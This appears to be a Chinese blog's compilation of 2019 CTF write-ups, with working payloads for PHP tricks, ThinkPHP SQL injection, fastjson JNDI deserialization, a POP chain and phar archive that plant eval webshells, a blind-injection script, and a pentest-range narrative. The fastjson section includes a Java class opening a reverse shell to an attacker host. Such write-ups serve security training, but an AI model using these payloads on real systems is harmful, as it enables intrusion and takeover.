2019WriteUp 汇总 VOL 3

  11 mins to read  

List [CTL]

    2019上海大学生网络安全邀请赛

    PHP

    byteCTF boring_code++

    curl "http://9f541345e3134764922236b093730b44cf8166f9f5cf4994.changame.ichunqiu.com/code/?code=echo(serialize(file(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))));"
    

    2019红帽杯

    ticker_system

    上传xml文件 + XXE

    构造tp5.2的反序列化pop链,xxe SYSTEM "phar://"触发

    服务器perl反弹shell后执行/flag ,trap bypass交互式验证码即可


    easyweb

    tp3.2.3 order by报错注入

    无报错回显,但可列目录

    orderby[updatexml(1,concat(0x25,(select/**/flaag/**/from/**/fl4g)),1)%23]=1
    

    /App/Runtime/Logs/Api/19_11_11.log看回显


    恶臭流量包

    802.11流量包,aircrack-ng爆破,密钥为12345678

    通过wireshark导入密钥解密流量,搜索HTTP流量,发现一个上传图片。图片中藏了一个加密的压缩包

    上传请求的Cookie jwt解密后为hint:for security, I set my password as a website which i just pinged before,wireshark搜索发现没有icmp包。可以推断域名解析的ip为127.0.0.1,发现一个dnslog.cn的域名,就是压缩包密码

    p.s. 没有icmp包是因为走的网卡和访问公网的不同,猜测是loopback;且Windows上wireshark默认不装winpcap是无法抓取loopback流量的


    EIS2019高校运维管理赛

    ezbypass

    https://bugs.php.net/bug.php?id=72530

    PHP7 GC disabled_functions bypass


    ezjava

    CVE复现,多试几个payload,需要ldap协议,jdk版本需要jdk1.8

    jd反编译有fastjson1.2.47组件JSON.parse

    ldap服务器

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP:8080/#Exploit
    

    Exploit.java

    public class Exploit {
    	public Exploit(){
        	try {
    java.lang.Runtime.getRuntime().exec(
            	new String[]{"bash", "-c", "/bin/sh -i >& /dev/tcp/IP/9999 0>&1"});     
            } catch(Exception e){
                e.printStackTrace();
            }
        }
        
        public static void main(String[] argv){
        	Exploit e = new Exploit()
        }
    }
    

    发包

    {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://IP/Exploit","autoCommit":true}}}
    

    ezpop

    可写JSON格式的缓存,文件名可控,内容基本也可控,php://filter绕过exit即可

    <?php
        error_reporting(0);
    
        class A
        {
    
            protected $store;
    
            protected $key;
    
            protected $expire;
    
            public function __construct($store, $key = 'flysystem', $expire = null)
            {
                $this->key    = $key;
                $this->store  = $store;
                $this->expire = $expire;
            }
    
            public function cleanContents(array $contents)
            {
                $cachedProperties = array_flip([
                    'path', 'dirname', 'basename', 'extension', 'filename',
                    'size', 'mimetype', 'visibility', 'timestamp', 'type',
                ]);
                
                foreach ($contents as $path => $object) {
                    if (is_array($object)) {
                        $contents[$path] = array_intersect_key($object, $cachedProperties);
                    }
                }
    
                return $contents;
            }
    
            public function getForStorage()
            {
                $cleaned = $this->cleanContents($this->cache);
    
                return json_encode([$cleaned, $this->complete]);
            }
    
            public function save()
            {
                $contents = $this->getForStorage();
                $this->store->set($this->key, $contents, $this->expire);
            }
    
            public function __destruct()
            {
                if (!$this->autosave) {
                    $this->save();
                }
            }
        }
    
        class B
        {
    
            protected function getExpireTime($expire): int
            {
                return (int) $expire;
            }
    
            public function getCacheKey(string $name): string
            {
                return $this->options['prefix'] . $name;
            }
    
            protected function serialize($data): string
            {
                if (is_numeric($data)) {
                    return (string) $data;
                }
    
                $serialize = $this->options['serialize'];
    
                return $serialize($data);
            }
    
            public function set($name, $value, $expire = null): bool
            {
                $this->writeTimes++;
    
                if (is_null($expire)) {
                    $expire = $this->options['expire'];
                }
    
                $expire   = $this->getExpireTime($expire);
                $filename = $this->getCacheKey($name);
    
                $dir = dirname($filename);
    
                if (!is_dir($dir)) {
                    try {
                        mkdir($dir, 0755, true);
                    } catch (\Exception $e) {
                        // 创建失败
                    }
                }
    
                $data = $this->serialize($value);
    
                if ($this->options['data_compress'] && function_exists('gzcompress')) {
                    //数据压缩
                    $data = gzcompress($data, 3);
                }
    
                echo $data;
                $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
                $result = file_put_contents($filename, $data);
    
                if ($result) {
                    return true;
                }
    
                return false;
            }
        }
    
        $o = new B();
        $o->options = [
            "prefix" => "",
            "serialize" => "serialize",
            "data_compress" => "",
        ];
    
        
        $t = new A($o, "php://filter/write=string.strip_tags|convert.base64-decode/resource=uploads/1.php", "x");
        $t -> cache = ["path" => ["path"=>"APD89YCRfR0VUW3NdYD8+"]];
        $t -> autosave = 0;
    
        echo urlencode(serialize($t));
        exit;
    
        $dir = "uploads/";
    
        if (!is_dir($dir)) {
            mkdir($dir);
        }
        unserialize($_GET["data"]);
    

    ezupload

    查不到数据dpasswd == NULL,不POST password参数$_POST[password] == NULL,三等号即可判断相等

    在这儿楞了半天….


    Misc2

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import os
    from flask import request
    from flask import Flask
    
    secret = open('/flag', 'rb')
    
    os.remove('/flag')
    
    app = Flask(__name__)
    app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    @app.route("/r", methods=['POST'])
    def r():
        data = request.form["data"]
        if os.path.exists(data):
            return open(data).read()
        return ''
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=8000, debug=False)
    

    可从/proc读取文件描述符,脚本爆破/proc/self/fd/[i]就行了


    Misc3

    蚁剑流量包,openssl_decrypt解密即可

    @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
    
    >>> b('WW1GaVlXSmhZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaQpZbUlLYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvCmFHaG9hR2dLYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG8KYUdob2FHaG9hR2dLWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbgpaMmRuWjJkbloyZG5aMmNLWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppClltSmlZbUppWW1KaVltSmlZbUlLYm01dWJtNXVibTV1Ym01dWJtNXVibTV1Ym01dWJtNXVibTV1Ym01dWJtNXVibTV1Ym01dWJtNXUKYm01dWJtNXVibTV1Ym01dWJtNXVibTRLWm14aFozdEJiblJUZDI5eVpGOXBjMTlRYjNkbGNtWjFiRjh6TWpJeU1qSXlJU0VoSVgwSwpbU10KL3Zhci93d3cvaHRtbC90bXAKW0VdCg==')
    b'YmFiYWJhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmIKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGgKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGhoaGgKZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn\nZ2dnZ2dnZ2dnZ2cKYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmJiYmJiYmJiYmJiYmIKbm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5u\nbm5ubm5ubm5ubm5ubm5ubm4KZmxhZ3tBbnRTd29yZF9pc19Qb3dlcmZ1bF8zMjIyMjIyISEhIX0K\n[S]\n/var/www/html/tmp\n[E]\n'
    >>> b('YmFiYWJhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmIKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGgKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGhoaGgKZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn\nZ2dnZ2dnZ2dnZ2cKYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmJiYmJiYmJiYmJiYmIKbm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5u\nbm5ubm5ubm5ubm5ubm5ubm4KZmxhZ3tBbnRTd29yZF9pc19Qb3dlcmZ1bF8zMjIyMjIyISEhIX0K')
    b'babababbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh\nhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh\nggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\nbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn\nflag{AntSword_is_Powerful_3222222!!!!}\n'
    

    2019-3CTF决赛

    体验极佳的比赛,就是时间短了点。赛前熬夜复习了域渗透,结果连域的影子都没摸着 : )

    靶场拓扑

    入口点是3个Docker中的服务,分别是Tomcat PUT、S2和pma lfi,两台Tomcat可以拿root权限

    接着Docker逃逸到宿主机后作跳板。一下午都卡在逃逸了,最后发现挨个尝试mount/devb标志位的就行了,貌似是/dev/dm-0。逃逸后可访问宿主机文件系统,写个SSH公钥即可

    逃逸后按既定路线利用Redis主从复制getshell HOST2(不说了,倒计时时我的nmap才扫C段20%不到)

    Redis主机被加入域了,在/root/.bash_history找到域用户账号密码,14-068获得HOST3域控权限

    然后登录HOST5拿Chrome保存凭据,可获取dedeCMS后台密码,然后可通过dedeCMS或PHPMyStudy后门拿下HOST4

    HOST4与HOST6站库分离,可从配置文件拿到HOST6的MSSQL密码,连上后xp_cmdshell,接着juicy-potato提权即通关


    2019 C1CTF

    TAR

    只存了一个挺有意思的题

    <?php
    $filename = $_FILES['file']['name'];
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    header("Content-Type: application/json");
    $highlighted = array();
    
    switch ($ext) {
        case "php":
            array_push($highlighted, ["filename" => htmlspecialchars($filename), "content" => highlight_file($_FILES['file']['tmp_name'], true)]);
            echo json_encode(['code' => 200, 'payload' => $highlighted]);
            break;
    
        case "gz":
        case "tar":
            $random = "file_" . bin2hex(openssl_random_pseudo_bytes(16));
    
            $tmp_filename = "uploads_compress/" . $random . ".tar.gz";
            $extracted_dir = "uploads_extract/" . $random;
    
            move_uploaded_file($_FILES['file']['tmp_name'], $tmp_filename);
            $file = new PharData($tmp_filename);
            mkdir($extracted_dir);
            try {
                $file->extractTo($extracted_dir);
                $extracted_files = scandir($extracted_dir);
                foreach ($extracted_files as $filename) {
                    if (substr($filename, -4) == '.php') {
                        array_push($highlighted, ["filename" => htmlspecialchars($filename), "content" => highlight_file($extracted_dir . "/" . $filename, true)]);
                    }
                }
                echo json_encode(['code' => 200, 'payload' => $highlighted]);
    
            } catch (Exception $e) {
                $msg = $e->getMessage();
                header("Content-Type: application/json");
                echo json_encode(['code' => 500, 'payload' => $msg]);
            }
            break;
    
        default:
            echo json_encode(['code' => 500, 'payload' => "不支持的拓展名"]);
            break;
    }
    

    利用tar报错获取路径信息(好像是个CVE,快一个月记不清了)

    <?php
    $p = new PharData(dirname(__FILE__).'/1.tar', 0, 'phartest', Phar::ZIP);
    $p->addFromString('../1.php', '<?php phpinfo();eval($_REQUEST[s]);?>');
    

    印象里还有一道Pickle题,用我的工具直接秒,star暗示:https://github.com/eddieivan01/pker


    2019 SWPUCTF

    easy web

    二次注入,时间盲注的,不过报错也可以

    import requests
    import re
    
    add = 'http://211.159.177.185:23456/addads.php'
    index = 'http://211.159.177.185:23456/index.php'
    empty = 'http://211.159.177.185:23456/empty.php'
    login = 'http://211.159.177.185:23456/login.php'
    regexp = re.compile(r'(detail\.php\?id\=[0-9]+)\'\>')
    
    s = requests.Session()
    s.post(login, data={
        'username': 'iiiiii',
        'password': 'iiiiii',
        'ac': 'login',
    })
    
    def inject():
        # f8ae51b4f44b623f665539af7d2b83f9
        # swpuctf{Simple_Double_Injectin}
        flag = ''
    
        for i in range(32, 50):
            #for w in 'abcdefghijklmnopqrstuvwxyz012345678,':
            for w in ',0123456789abcdef':
                sql = "select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'"
                sql = "select/**/group_concat(passwd)/**/from(select/**/1,2,3/**/as/**/passwd/**/union/**/select/**/*/**/from/**/users)as/**/a"
                payload = f"'-if(mid(({sql}),{i},1)='{w}',sleep(5),0)-'",
                r = s.post(add, data={
                    'title': payload,
                    'content': 'a',
                    'ac': 'add',
                })
    
    
                r = s.get(index)
                #print(r.text)
                url = regexp.findall(r.text)[0]
                try:
                    s.get('http://211.159.177.185:23456/'+url, timeout=5)
                except:
                    flag += w
                    break
                finally:
                    s.get(empty)
            print(flag)
    
    
    inject()
    

    python简单题

    爆一下redis弱密码是password

    连上后修改session反序列化即可


    easy_python

    zz脑洞,官方题解说前端源码里404 not found是提示,然后404路由会在响应头返回secret key的b64

    我只想说,没有正常人的逻辑能力就请别出题了

    看题时只放了这三道,溜了